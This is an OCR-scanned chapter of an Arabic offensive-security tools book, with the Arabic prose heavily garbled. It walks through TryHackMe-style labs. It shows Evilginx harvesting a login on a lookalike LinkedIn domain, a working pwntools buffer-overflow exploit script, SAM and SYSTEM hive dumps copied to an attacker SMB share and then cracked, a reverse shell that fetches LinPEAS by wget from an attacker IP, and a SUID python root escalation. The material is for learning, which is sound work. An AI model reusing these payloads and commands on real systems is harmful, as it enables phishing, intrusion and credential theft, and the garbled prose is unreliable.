QS gy sl 138 3 (2FA Tokens) Uil giatl ey ol sicly

.(1.0.0.127) Llas Jend (inkedin.com) gabaall (§Uail Jasia 5 5aY) Sy Lidd zalasY) o
.(login.inkedin.com) <3¢l a8 90 Slay (arads phishlet Judi s Jueais Ll ;) Junds o
(https://academy.login.inkedin.com/...) samaia suai bl , ULtil (Lure): pahl ldd) o

«Linux = Chrome gzéais plaaiuls (New Visitor) waa i) Jsas ek daull rzaldl dudaad) o
L1y 5 (password123) sl 4S5 (dr.yaser@alosefer.com) aadieall sl aladll &

sl il

(yaser CyberBookio)-[~/evilginx2]

$ sudo ./evilginx2 -developer
\_  _____ /__ _l__1 ] AR D R _
| N N/ | |/ N1/ \ V/
| N /L > l\> <
/o /N_/ | __V____/\_ JN__V___1 /__/\

\/ / / \/

- -— Community Edition -- -

by Kuba Gretzky (@mrgretzky) version 3.3.
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[23:09:13] [inf] Evilginx Pro is finally out: https://evilginx.com (advanced phishing
[23:09:13] [inf] Evilginx Mastery Course: https://academy.breakdev.org/evilginx-maste
[23:09:13] [inf] loading phishlets from: /home/yaser/evilginx2/phishlets

[23:09:13] [inf] loading configuration from: /root/.evilginx

[23:09:13] [inf] blacklist: loaded O ip addresses and 0 ip masks

pommm o o o o +

| phishlet | status visibility | hostname unauth_url |

pmmmm Fmmmm e e et e +

| example | enabled | visible | login.inkedin... | |

Fo—mmm e Fommm o o +

: config domain inkedin.com

[23:09:23] [inf] server domain set to: inkedin.com

: config ipv4 external 127.0.0.1

[23:09:29] [inf] server external IP set to: 127.0.0.1

: phishlets hostname example login.inkedin.com

[23:09:35] [inf] phishlet 'example' hostname set to: login.inkedin.com

[23:09:35] [inf] disabled phishlet 'example'

: phishlets enable example

[23:09:44] [inf] enabled phishlet 'example'

: lures create example

[23:09:51] [inf] created lure with ID: 1

: lures get-url O

https://academy.login.inkedin.com/QIjzUfko

[23:23:54] [imp] [0] [example] new visitor has arrived: Mozilla/5.0 (X11; Linux x86_6

[23:23:54] [inf] [0] [example] landing URL: https://academy.login.inkedin.com/QIjzUfk

[23:26:31] [+++] [0] Username: [dr.yaser@alosefer.com]

[23:26:31] [+++] [0] Password: [passwordl123]

: exit

CyberBook.io
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(yaser CyberBookio)-[~/evilginx?2]
$

https://github.com/kgretzky/evilginx2 :Jsaa3

pwntools ¢.¥

(Exploit <¥3ainy) yshi e 8 4ae SV 5 bl (Framework) desll Jh) pwntools s
3 (Binary Exploitation) il 45l L) <l jad 5 clama sl (el alle L3 Tanas s <Development)
Lol aluial & 3lie Db Alaidl 51591 La (Gallopsled G sk (il 5) Python daly JelSIL 4 s<a) 464l
i) ofialdl 5 (CTF) ol

58I il i (Buffer Overflows) < sall ¢ jaall (a3 sl JSlaiu) S dilee <iilS pwntools Ji
(bytes) <l Ju ) ae Jalxill C i Perl Jie il 3330 scripts 4L ki (Memory Corruption)
o JS s JS lawdl pwntools sla bl 3 sat e Jaladll 5 ¢(sOCkets) ¥Laiyl s lal 5 dids

Gl 5l 3 SI3 ol sie (pack) s &S Jss G (e Yad Baieall sleal) (@abstraction) wsd 8 (i L 58
skt GUSed ¢ LAY Alee an gy 43 LS pBA() 5l p32() alaind Al <liSay «B4-Dit 5| 32-bit i e
e Ladie 5 cprocess('./vuln_app') alaaiul 3 jile Caag) el ) s sl @ Slea e JalSIL S
Al aalall Calagiud remote(lip!, port) Y sty sl juad sa 4ded elile L JS o ala

(psbinll e giall ELF cilile Jilas e 55080 sl Aall Lasiie <l gal Y1 s cclld ) ALYl
ROP 4% e Lildli saixal ROP (Return-Oriented Programming) dusdhs sl e 4y sl 40i 5,08l
a3l pwWntools 3= el sdgd | el sl 2l Lewi ji5 maliall Jalo (gadgets) < sa¥) e ag )

ST Gl 8 e gaay Jalaty s oY

o | sl 5 leall (5 5ise

Linux, macOS Jasadl) Adasf
PRIESS 3alksl)
MIT o il g g

pwntools 3 &l TPV
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:pwntools alaaiul (Buffer Overflow) < sall ¢ jaall (e 3 sl JBlaiul 1 des Jla
AR 5aT Lk A gan a5 ccinglls JLai¥l Sl 138 05 (exploit.py): s 268 .1
.(admins_only) Jsall alla ) zali jll (5835 s 55 e (s 40) i 5l

from pwn import *
context.log level = 'debug'
target_ip = '10.48.189.146'

target_port = 9003

print (£" [*] Connecting to {target_ip}:{target_port}...")

p = remote(target_ip, target_port)

win_addr = p64(0x401554) # admins_only function

ret_gadget = p64(0x401016) # RET instruction for stack alignment

padding = b'A' * 40

payload = padding + ret_gadget + win_addr

p.recvuntil(b'Choose the channel')

p.sendline(b'3') # Select General

print (" [*] Waiting for input prompt...")

p.recv(timeout=1)

print (" [*] Sending Payload...")
p.sendline(payload)

p.interactive()

& Asaall Gl (DEBUG) <dlad) 5 Jaadli ey Sl Jiiis xie (Exploitation): Saiud) 3di 2
_(flag_txt) (J:d\ ala ’5;\)§} (only Admins) d}}wd\ GlaSla ‘_Ar_ d}.zn.\b Aglaall skl ‘_A\ L;.:i Laa «\.@JL.»J;\
sl il
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(yaser CyberBookio)-[~]
$ python3 exploit.py
[*] Connecting to 10.48.189.146:9003...

[+] Opening connection to 10.48.189.146 on port 9003: Done

[DEBUG] Received 0x442 bytes:
00000000 1b 5b 30 3b 33 34 6d e2 a3 bf e2 a3
00000010 e2 a3 bf e2 a3 bf e2 a3 bf e2 a3 bf

00000430 6f 6f 73 656 20 74 68 65 20 63 68 61
00000440 3a 20
00000442

[DEBUG] Sent 0x2 bytes:
b'3\n'

[*] Waiting for input prompt...

[*] Sending Payload...

[DEBUG] Sent 0x39 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41
*
00000020 41 41 41 41 41 41 41 41 16 10 40 00
00000030 54 15 40 00 00 00 00 00 Oa
00000039

[*] Switching to interactive mode

[DEBUG] Received 0xa8 bytes:

000000a0 70 77 6e 65 72 5d 3a 20
000000a8

General:
______ [jopraveen] : Hello pwners
—————— [jopraveen] : Hope you're doing well

______ [jopraveen] : You found the vuln, right?

CyberBook.io \A%

bf e2 a3 bf
e2 a3 bf e2

6e 6e 65 6¢C

41 41 41 41

00 00 00 00

oose the channel

AAAA AAAA AAAA AAAA

AAAA AAAA --Q@- - - -

pwne r] :
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—————— [pwner]: [DEBUG] Received 0x3b bytes:
00000000 54 72 79 20 68 61 72 64 65 72 21 21
00000010 92 aa Oa Oa f0 9f 91 ae
00000020 20 6f 6e 6¢c 79 3a Oa Oa 57 65 6¢c 63 6f 6d 65 20
00000030 61 64 6d 69 6e 20 fO 9f 98 84 Oa

0000003b

Try harder!!!

Admins only:

Welcome admin

$ whoami

[DEBUG] Sent 0x7 bytes:
b'whoami\n'

[DEBUG] Received 0x7 bytes:
b'pwnl103\n'

pwnl03

$ 1s

[DEBUG] Sent 0x3 bytes:
b'ls\n'

[DEBUG] Received 0x19 bytes:
b'flag.txt\n'
b'pwnl103\n'
b'pwnl03.c\n'

flag.txt

pwn103

pwnl03.c

$ cat flag.txt

[DEBUG] Sent Oxd bytes:
b'cat flag.txt\n'

[DEBUG] Received 0x13 bytes:

CyberBook.io A&

21 20 f0 9f
20 20 41 64 6d 69 6e 73

Try harder!!!
........ Ad mins
onl y: - - Welc ome

admin - -
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b' THM{w31COm3_4DmiN}\n'
THM{w31COm3_4DmiN}
$

https://github.com/Gallopsled/pwntools :Jwaasd

GDB (with Pwndbg/GEF) *.¥

alalall 313Y) s (GNU Debugger) GDB olé «Jdsiny) skl dua jlall 31aY) & pwntools <ils 13
=48 (Debugger) sUaal macas 03 jias GDB . Jbied¥ die 48 sl Jalasi g 03,5 o U el ) (andl dpdl)
YN 5 shae s (Sl pmall a1 asigal (a5 0oy shall Sal aaae 4y (s
«GEF (GDB Enhanced Features) <Pwndbg Jic Python dak 4 siSall cilibadl aulall ) sall L
G e ial Bl 35 A jams A ylay GDB 4lsiy Lo CaiSi Le oy 3uda &) jae Chaiad ¥ ClilaYl o Peda

10l e (S5 (i a3 AlilSia (dashboard) oSt da sl A s el sl Sl 3 e (e 48kl GDB 4eal s s

Ll o35 2% 53 (Assembly) ameaill 4aly a3 Sz (Disassembly) el

RSP  (Instruction Pointer) dadeill 15 RIP Jis dpi )l W3l o8 1(Registers) <o) «
.32-bit 4 ESP 5 EIP sl «64-bit & (Stack Pointer) sS4l 15

el Judldl sl sbiall jaan Gl ae ¢uaSall e 33 s sall aiill 550 g se i(Stack) ouisal

ASaalipall 313 JSLa Qi dasiie & 3l 1 (Heap) 38130

Llaal) il (asil checksec die «dainY) ) shal lgie 6 Y diaiada ol 5 Canad Ll celld (0 aaY)
@3 ail yal ol 5 ((ROP Gadgets) < sa¥) e cadll @i ool 5 «Canaries ,NX ,PIE ,ASLR Jie ilaial
Al YR gkt Aglae el a) S Y A8 jLedY) Adad agdl 3 ghady 53k (Program Flow) gl

lilay) sda sas) 2 Ans (Binary Exploitation)

dagdl Lualdl)
o | lhall 3 leall (5 s
Linux, BSD, macOS Jsail) dadas
JEEWY 8K
GPL-0.3 (GDB), MIT (Pwndbg/GEF) ol g 5

CyberBook.io Yo
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GDB (with Pwndbg/GEF) sl3f & jae

3 SIA e st il Fliks ) jadul 5 (LiveOverflow) gl e oS 1 des JUa

gdb -q ./license_1

i) ailes oS Gaagy alaill LiveOverflow g 5 rie (1o geali sl dpuSe duvia dleny o 583 1 JUall 2
Gl e el cd oL (Registers) <l diatl GEF 4 a5 13 ARMG4 & jlane e Jans

T Al bl e 3 SIAN cuads «stremp 4 Haall Ay xe G.AL'U:\S\

.(AAAAA-BBBBB-CCCCC) 4_aill Ldlaaly L Al (o goaill 2l e (5 5iny 1$X0 Jasal) o

i jlie Jglay gelind) S 531 (AAAA-Z10N-42-OK) gmaall ¢ udl 230l e i€ 1§x1 Samaal) o

JEp BN

i il Aalal 50 Aal 5_SIA (e 5 _ptloe Fdoaall Ll 5 il Rl Liad) Jlaall (e (o a5y 14

Jdaxall QL.)AJJ‘JAM
ala Al

(yaser CyberBookio)-[~/liveoverflow_youtube/0x05_simple_crackme_intro_assembler]

$ gdb -q ./license_1

GEF for linux ready, type "gef' to start, “gef config' to configure

93 commands loaded and 5 functions added for GDB 16.3 in 0.00ms using Python engine 3

Reading symbols from ./license 1...

(No debugging symbols found in ./license_1)

gef

[*] PIC binary detected, retrieving text base address

entry

[+] Breaking at entry-point: Oxaaaaaaaal0700

[ Legend: Modified register | Code | Heap | Stack | String ]

$x0
$x1
$x2
$x3
$x4

: 0x0000ff£ff£f7£fc1780
: 0x0000ff£££7£££950
: 0x0

: 0x0000ffffffffed68
: 0x0000fffff7ff46c0

CyberBook.io

1

1

1

paciasp

0x0000000000000000

OxOO000fffffff££139
0xO000ff£££7£££370

Y

=

—y

"COLORFGBG=15;0"
0x0000aaaaaaaal000 -

diwanll uly o
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$x5
$x6
$x7
$x8
$x9

$x10 :

[ Legend: Modified register |

$x0
$x1
$x2
$x3
$x4
$x5
$x6
$x7
$x8
$x9

$x10 :
$x11
$x12
$x13 :
$x14
$x15 :
$x16 :
$x17
$x18
$x19
$x20 :
$x21
$x22
$x23 :

: Oxcbffffffff

: 0x300000000000000
: 0x0000fffff7ffcOb8
1 0xd7

: 0x30

0x1ddbdf

: 0x0000ffffffff£127
: 0x0000aaaaaaaal8f8
: 0xO0000ffffffff£127
: 0x0

: 0x0

: 0x0

: 0x0

: Ox1

: 0x40

: 0x0000fffff7ffdb28

0x0000f££££7d£5250
0x0
0x0000£f££££7£££370
0x0000ffffffffeb70
0x0

0x724e59
0x0000£££££7e7d800
0x0000aaaaaaac0028
Oxfff
0x0000ffffffffed48
0x2
0x0000aaaaaaabfdd0
0x0000aaaaaaaal828
0x0000ffffffffed60

CyberBook.io

-

-

-

-

"glibc.cpu.aarch64_gcs"

Code | Heap | Stack | String ]

"AAAAA-BBBBB-CCCCC"
"AAAA-Z10N-42-0K"
"AAAAA-BBBBB-CCCCC"

0x£549£0e86b0aa800
0x000d40012000083bf

0x0000aaaaaaaa0000
0x00000000£c000000

<strcmp+0000> bti c

0x0000f££££7e7d800

0xO0000ff£ff£f££££0d8

0x0000aaaaaaaal7cc

<main+0000> stp x29,

OxOO000fffffff££139

Yy

-

-

-

p—y

.inst 0x464c457f

<strcmp+0000> bti c

"/home/yaser/liveoverflow_youtub

<__do_global_dtors_aux+0000> pac

x30, [sp, #-32]!

"COLORFGBG=15;0"

)

; undefined
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$x24 : 0x0000fffff7ffdb30 - 0x0000000000000000
$x25 : 0x0
$x26 : 0x0000fffff7ffe000 - O0x0000fffff7fff370 - 0x0000aaaaaaaal000 - .inst Ox
$x27 : 0x0000aaaaaaabfdd0 - 0x0000aaaaaaaal7cc -+ <__do_global dtors_aux+0000> pac
$x28 : 0x0
$x29 : 0x0000ffffffffebbO0 - O0x0000ffffffffecd0 - O0x0000ffffffffece0 - 0x0000000
$x30 : 0x0000aaaaaaaal87c -~ <main+0054> cmp w0, #0x0
$sp : 0x0000ffffffffebbO0 - O0x0000ffffffffecd0 - O0x0000ffffffffece0 - 0x0000000
$pc : 0x0000fffff7e7d804 - 0xb200c3e8cb00002a ("*"7)
$cpsr: [NEGATIVE zero carry overflow interrupt endian fast t32 m[4]]
$fpsr: 0x0
$fpcr: 0x0
0x0000ffffffffebb0 +0x0000: 0x0000ffffffffecd0 -+ O0x0000ffffffffece0 - 0x000000000(
0x0000ffffffffebb8 +0x0008: 0x0000fffff7e0229¢c -+ bl O0xfffff7e195c0 <exit>
0x0000ffffffffebcO +0x0010: 0x0000ffffffffed48 - 0x0000fffffffff0d8 - "/home/yase:
0x0000ffffffffebc8 +0x0018: 0x0000000200000000
0x0000ffffffffebd0 +0x0020: 0x0000ffffffffec60 -+ 0x0000000000000000
0x0000ffffffffebd8 +0x0028: 0x0000aaaaaaaa0828 -+ <main+0000> stp x29, x30, [sp, 1
0x0000ffffffffebe0 +0x0030: 0x0000000200000000
0x0000ffffffffebe8 +0x0038: 0x0000ffffffffed48 - 0x0000fffffffff0d8 - "/home/yase:
Oxfffff7e7d7£8 nop
Oxfffff7e7d7fc nop
0xffff£f7e7d800 <strcmp+0000> bti c
-+ Oxfffff7e7d804 <strcmp+0004> sub x10, x1, xO
0xfffff7e7d808 <strcmp+0008> mov x8, #0x101010101010101 // #723401728
0xfffff7e7d80c <strcmp+000c> and x6, x0, #0x7
Oxfffff7e7d810 <strcmp+0010> tst x10, #0x7
Oxfffff7e7d814 <strcmp+0014> b.ne Oxfffff7e7d894 <strcmp+148> // b.any
Oxfffff7e7d818 <strcmp+0018> cbnz x6, Oxfffff7e7d870 <strcmp+112>
VA sl uly 3
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[(#0] Id 1, Name: "license_1", stopped Oxfffff7e7d804 in strcmp (), reason: BREAKPOINT

[#0] Oxfffff7e7d804 - strcmp()

[#1] Oxaaaaaaaal087c - main()

gef x/s $x1
Oxaaaaaaaa08f8: "AAAA-Z10N-42-0K"

gef ¢

(yaser CyberBookio)-[~/liveoverflow_youtube/0x05_simple_crackme_intro_assembler]
$ ./license_1 AAAA-Z10N-42-0K
Checking License: AAAA-Z10N-42-0K

Access Granted!

(yaser CyberBookio)-[~/liveoverflow_youtube/0x05_simple_crackme_intro_assembler]

$

https://github.com/pwndbg/pwndbg :Jsad

Mimikatz V.¥

S A g il A (Windows @l 3R e &1l Y &) shand) 3153 Mimikatz sl
il Caldl la sk ) Gl w2 JWSIL Active Directory ool aede Cijie Gaassa <l 3k
Alaall LY dgl o ) alaill iesd LSASS.exe ddens 58 sa SLEX) e d5e <Benjamin Delpy
Gl ol 58I 8 slaie ) @l Léiai (Local Security Authority Subsystem Service)
.(Authentication) 48:Laxll

z) Al a iy 3l Y1 s 5 csekurlsa::logonpasswords s 5ed SSY) 5 4lul) Mimikatz 3.8
Cleartext) dayall el S (e 8l (LSASS 5 513 (e 5 il o2 (Credentials) slaie ) cilily
(NTLM (Hashes) <lila s (WDigest duii xic sl Windows ¢ depill @il jlaay) & (Passwords
Al A Jsaall daady | a8 () (preadiudll maead Kerberos (Tickets) S

Post-) GIAAY) 2 Lo cilaaa (e (8 i el AulS & ju 250 A 0S5 Y Aiaal) 310Y) 58 (<
:Jie Cilana allall ciadd ) 315V 8 Mimikatz .(Exploitation
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& Aalall 50 A3 L s Al dadail e 4Ll NTLM (Hash) uils alasiul :Pass-the-Hash -+
A peall g pall S 3 e

V) Jasll Lealadinl 55 S (e 4alla Kerberos (Ticket) 583 (=l il :Pass-the-Ticket «
el e Al clerdl)

sLial KRBTGT il (ila e Jsemall ny iy Cum (Y e 5aY1 4526l :Golden Ticket
Sle ailag JalS J<i (Domain Admin) 3lad Jgmse clbadlia aaleall =iai 355 30 Kerberos _SIx
Lelesls (Forest) 4l s sive

«(Red Teams) deasiall 3l AV (3 8 aren Lgeddind ‘._533\ o juadl 312Y) Mimikatz cassal (L) s3]
.Credential Guard Jis Zuall Windows <ilelis s i 3l s1aY) Leadl 4

dadl) daldl)

eih QM‘EJL@A“_;}LM

Windows sl Aadas
‘é_aL;A Al
cCcBYO04 o il g g

Mimikatz 330 < e

https://github.com/gentilkiwi/mimikatz :Jsaad

Impacket A.Y

Active Directory <iliy s sl Claagll 8 dadiivall <) oY1 2llad i) g il 2 seedl Impacket i
&4 < «(Core Security ) Fortra Wi)sh il s Python dal JelSl 4y sS4 «(Library) asal o3
& te <S5 (Network Protocols Implementation) 4aill @Y S sig 50 ik de sane Gl
Microsoft ¥ oS sis » &S ae JalS J Jeliil cLinux Sl oo W Jany 2 (3131 jiiaad m Ll
NTLM s ,Kerberos ,WMI ,LDAP ,MSRPC ,SMB Jis 3:824ll
B U (examples) ALY de sane (8 Jy ¢ shaall L 5 i€ Lgd oS b L (S5 Y Impacket 5 58

3lay) * «secretsdump.py a\ja‘!\ XY )@..Zi e lge e Y ‘;ﬂ\ Aol Q\,A“X\ A Ciaval qﬂ\j AVEDS
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«JalSIL NTDS.dit wlily 82 ld ) 254 5 (Domain Controller) Jaall aSaiay Juaisll daddival) daulsl)
aaill psexec.py 311 «(Domain) @il 8 (peasivall meal NTLM (Hashes) wlils e s siat il
iy e (Remote Code Execution) 3 e sl ¥l 4 iy Lae «PSEXEC JsS5is 0l (oSeudS
s 55 lesa 2l &axiiad) ptimrelayx.py 5405 ¢ es (Lateral Movement) sls @ad cslul s g
kil ) J a5l Leensins 5 (Authentication) Zsbadll <Y s (a jix3 Cua ((NTLM Relay) NTLM
Jie cilaaa a1l GetNPUsers.py s getST.py Jis Kerberos lesa < saf de seas ) Ayl ¢ Al
AS-REP Roasting s Kerberoasting
(Pass-the-Hash claas 385 (e (31 58V (5 it oSai Al Apulu) 31231 Impacket 25 «alwd) gl
(Misconfigurations) 4l <y sSill 5 (Vulnerabilities) < sl 284S JMaiul 5 «Pass-the-Ticket

Active Directory <l 843 yadll

dagdl) daldl)

eﬁa t_UM\bJLQ.A“L;jM

Linux, Windows, macOS i) dalasl
Slae 4l
Apache-0.2 o il g g

Impacket 33 &l jrae

il b oSN e Lew seis (SAM) sl CilalS iy 32018 48y Las Jla

sudo impacket-smbserver LOOT ./exfil_data -smb2support -user test -password test

<l 5ol il (Living off the Land) "oaLY) (e Glandl" 4055 andins caaiiall g bl 138 & gl £
Aleall

Ay el Sl JUELY paleal Slea o an s SMB pals el o 555 (Setup): Y1 )

reg) dba¥) saiy < sl ardin o3 disa e J sasll wmiexec.py s23ies (Execution): il Y
Auluall SYSTEM 5 SAM <ilile il (save

.copY <Y aladiuly et sl Ladld ) 48 5 peudd) clilal) £y o 583 (Exfiltration): cusdd ¥
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S A el #1300y Ulas secretsdump i cclilal e J sasll 225 (Cracking): s=Sh ¢
john aladicly g yall dal<

sl Al

(yaser CyberBookio)-[~]

$ mkdir exfil data

(yaser CyberBookio)-[~]
$ sudo impacket-smbserver LOOT ./exfil_data -smb2support -user test -password test
[sudo] password for yaser:

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

(yaser CyberBookio)-[~]
$ impacket-wmiexec yaser:'Password123!'@10.49.149.163

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[x] SMBv2.1 dialect used

[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\>whoami

jon-pc\yaser

C:\>hostname

Jon-PC

C:\>reg save HKLM\SAM C:\Windows\Temp\sam.save

The operation completed successfully.

C:\>reg save HKLM\SYSTEM C:\Windows\Temp\system.save

The operation completed successfully.
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C:\>net use \\192.168.154.215\L00T /user:test test

The command completed successfully.

C:\>copy C:\Windows\Temp\sam.save \\192.168.154.215\L00T\san. save
1 file(s) copied.

C:\>copy C:\Windows\Temp\system.save \\192.168.154.215\L00T\systen.save
1 file(s) copied.

C:\>exit

(yaser CyberBookio)-[~/exfil_datal]
$ sudo impacket-secretsdump -sam sam.save -system system.save LOCAL

[sudo] password for yaser:

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x55bd17830e678f18a3110daf2c17d4c7
[*] Dumping local SAM hashes (uid:rid:1lmhash:nthash)
Administrator:500:aad3b435b51404eecaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0: :
Guest:501:aad3b435b51404eecaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089cO: : :
Jon:1000:aad3b435b51404eeaad3b435b51404ee:£fb43£0de35bedd9917ac0cc8adb7£8d: : :

yaser:1001:aad3b435b51404ecaad3b435b51404ee: 2b576acbebbcfda7294d6bd18041b8fe: : :
[*] Cleaning up...

(yaser CyberBookio)-[~/exfil_datal
$ echo "ffb43f0de35be4d9917ac0cc8adb7£8d" > jon.hash

(yaser CyberBookio)-[~/exfil_data]

$ john jon.hash --format=NT --wordlist=/usr/share/wordlists/rockyou.txt

Using default input encoding: UTF-8

Loaded 1 password hash (NT [MD4 128/128 ASIMD 4x2])
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Warning: no OpenMP support for this hash type, consider --fork=2

Press 'q' or Ctrl-C to abort, almost any other key for status

alqfna2?2 (?)

1g 0:00:00:00 DONE (2025-12-03 15:44) 2.702g/s 27587Kp/s 27587Kc/s 27587KC/s alshanee
Use the "--show --format=NT" options to display all of the cracked passwords reliably

Session completed.

https://github.com/fortra/impacket :Jsaal

LinPEAS / WinPEAS 4.Y

Y ey Lo Al yo 8 (31380 aide ol e JSE ) (JI5Y1 81015 andll L) i 3 810Y) ) V) Jaca
2 . Carlos Polop W _sk il PEASS-ng (Scripts) uassi ic saas 45 «(Post-Exploitation)
Caagl) allail) yand o B 5l Liega 5 «(ENUMeration) shass &l sl & d Ll aan JBacinl <l sal cagd il 53y
(Misconfiguration) (bl 0 585 sl Sle | sisl Windows ey WInPEAS i Linux 4eiasY LINPEAS ) s
.(Privilege Escalation) < jlie¥) seai ) 355 o Sar 388
SUID like g &anll Jaa JSE Ay gl el s¥) <l pde 2 GIRY) piide o OIS ol saY) e i
AR sl Gl dilalall cladlall @il (Services) wleadlls «(Cron Jobs) Al saaall aledl
Cua (JalSlL 4leal) o328 (Automation) Y (e saill s34 els (Configuration Files) o s<ill iils
5 b Alaind) Ll clie Gandy o 5
Color-Coded) sl Saa sill o8 5 aa¥1 5 uall (& s A gl d Lad (a3 Y < 521 o2g] Al 3 g8l) (<)
AlS Jie danal 55 juladl) i) Saaaiy 3181 55 cila Al e a1 YT b 5Ll e Yaid il (Output
gt o sbell Gt 138 130 ¥l s saall ol dine e SUID e s eatel i (8 s ile (55
ol (sl e Lelun iy Al (V515 aa ) 31aY) Lebany Laa clay 5 (5 ) 58 U amaatll Jatianal) Jlusall 33 il

83 gdaa GliaSlay 48) yiA) o

LM):\.A QJM\BJLG.A“L;)“M

Linux, Windows Jasail) dadasf
(e ekl
MIT o il g 5
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https://github.com/fortra/impacket

LInPEAS / WInPEAS <l sai & jaea

:LINPEAS .x23.b (Privilege Escalation) < el seaai &l jlas 23S 1 dee JUa

wget http://192.168.154.215/1linpeas.sh
chmod +x linpeas.sh

./linpeas.sh

DA LINPEAS Janiiy B | (www-data) 32535 Cladtay cu g adld Jaly gad g sl 18 1 Gl 7 5
S oY) oo Gl e any a5 (emaall) e slaall 3 Jlaall (33 (oS oa sy olial Jsaall Lyl aUail)
rdashall Javuall 138 Jass 5 ClBLEESY) aaf | () e S

AWS EC2 aay Jals Jers Ll i) 3151 (Cloud): 4l o
A0lA0 Aa gide dilie dsa g 1ASLEY o

Ladlia elley 4l iny Laa ¢ a1 05l python2.7 <ale ek ¢ shud) Vi han 5 (SUID): ALl 3 gl o
.SuUID

1,52 Root Shell Lsiey 2o s Jaandil 5 2l o3 Lioddind : MaE)
E e

(yaser CyberBookio)-[~/Downloads]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.154.215] from (UNKNOWN) [10.49.160.166] 44560
Linux ip-10-49-160-166 5.15.0-139-generic #149~20.04.1-Ubuntu ...
02:21:18 up 14 min, O users, load average: 0.01, 0.07, 0.07
USER TTY FROM LOGIN® IDLE JCPU  PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ cd /tmp
$ wget http://192.168.154.215/1inpeas.sh

2025-12-05 02:21:49 (2.91 MB/s) - 'linpeas.sh' saved [971926/971926]
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$ chmod +x linpeas.sh

$ ./linpeas.sh

LinPEAS-ng by carlospolop

Basic information

0S: Linux version 5.15.0-139-generic (buildd@lcy02-amd64-067) (gcc (Ubuntu 9.4.0-1lubu
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: ip-10-49-160-166

System Information

Operative system
Distributor ID: Ubuntu
Description: Ubuntu 20.04.6 LTS
Release: 20.04

Sudo version

Sudo version 1.8.31

Executing Linux Exploit Suggester
[+] [CVE-2022-0847] DirtyPipe
Exposure: probable

Tags: [ ubuntu=(20.04]21.04) ],debian=11

[+] [CVE-2021-4034] PwnKit

Exposure: probable
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Cloud

AWS EC27 .. e Yes

AWS EC2 Enumeration

ami-id: ami-0£269b85a27e0fb6b

instance-type: t3a.small

region: ap-south-1

Processes, Crons, Timers, Services and Sockets

Running processes (cleaned)

root 1 0.2 0.6 103908 12844 7 Ss 02:06 0:02 /sbin/init auto
root 689 0.8 1.7 1848692 35164 7 Ssl 02:07 0:07 /usr/lib/snapd/sna
root 789 0.0 0.9 193724 18012 7 Ss  02:07 0:00 /usr/sbin/apache?2
www—data 797 0.0 0.7 194180 14428 7 S 02:07 0:00 _ /usr/sbin/apach
www—data 5100 0.3 0.1 3724 2940 7 S 02:22 0:00 | /bi

Network Information

Active Ports

tcp 0 0 0.0.0.0:22 0.0.0.0:x LISTEN

tcpb 0 0 :::80 :::x LISTEN

Files with Interesting Permissions

SUID - Check easy privesc, exploits and write perms

https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sud

-rwsr-xr-x 1 root root 156K Jan 15 2025 /usr/lib/snapd/snap-confine
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-rwsr-xr-x 1 root root 3.5M Dec 9 2024 /usr/bin/python2.7 (Unknown SUID binary!)
-rwsr-xr-x 1 root root 31K Feb 21 2022 /usr/bin/pkexec

-rwsr-xr-x 1 root root 163K Apr 4 2023 /usr/bin/sudo

Interesting writable files owned by me or writable by everyone
/tmp
/tmp/linpeas.sh
/var/www/html/uploads/shell.php5

$ /usr/bin/python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
whoami

root

cat /root/root.txt

THM{L1nux_PrivEsc_M4ster}

https://github.com/carlospolop/PEASS-ng :Jwad

Scapy ''.v

Jia (Packet Capture) s sl LEIY slal 3 jme ol oo 4S8 Y S Awain QB i &8 Scapy
Jac Jals 4g€a (e 5ol (3 ala bajde & Jr Nmap Jie s3aas alear lanle cuads (Wireshark
Packet) iclua e ALK 5 a8l aadiiall =ias «Python 4k < g8 (Interactive Framework) el
Jaall s (Packets) » 5~ (Forging
Protocol) JsSsisll clida ae Jalaill e 3538 3 Philippe Biondi sk 3 Scapy 558 (<<
sl iy 3ine pytes 5 Offset dsis ao daladll (e Yad  dasws Python (Objects) wlilsS (Layers
(Abstraction) il 13 |P(dst="target")/TCP(flags="S") 4t (& )k (e 4luss TCP SYN 4
Aled Y LS oLl L) i Le s gl
it el 55 daee (Malformed Packets) i sie sl 335 a3 i) @l mity 43 Sage 138 13l
aaie A0 Clasa y olil Scapy aladiul e RFC ulaes o 5l ) Ll A0l el sl alasinly Ty &
Fuzzing <leaa 25 5f (Stealth Scanning) didie mue cililee ¢ ja) 5l «(Custom Network Attacks)
3382l (Network Analysis) <lSuill dilas alge 4iail a5 aaa <l a8 GLESY Al @Y S i 2a

3530 Ay55 aoall Jasls JISEY) 4 jad Galll o Ly 4aldll (Interactive Interface) ddeliill dgal 5l
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https://github.com/carlospolop/PEASS-ng

Y S5 5 el sl s (Network Exploits) <olSaill ey shil Aladall 512V Leleay Las o5 )58 IS

.(Protocol Security Testing)

daidl) Asaldl)

edﬁl« &H\}M‘E)L@.AML;‘SEMA

Linux, Windows, macOS BER PSS
e 4l
GPL-0.2 o il g 5

Scapy Blal <l raa

:Scapy #adinl leall Hlas el 8 lLid) g dacaia (TCP) aia ol 1 dee JUa
sudo scapy
AV @l 50 e Yy a el elid 4y 9y 3148 Scapy adios ¢ s slid) 138 8 1JBa 7k

Aaial) SYN ale Juei pe 22 diiall dga 50 IP/TCP 4 a ¢y Ld Scan): (SYN iiia gasd
.z sike didl of 3 L SYN-ACK):« sf) SA s

Llaiul (Ase dadlias os) Lalie ACK deja Ulu )i Test): (Firewall g ud Jaad jLad) (Y
Juai¥) Alla a8l 53 (ol laadl 5 Jaill o) 4001 @llia i 23 Reset) - RST ) R ale sl
Absall 4 el cuzd ) 5 (Stateful)

AEGERN]

(yaser CyberBookio)-[~]
$ sudo scapy
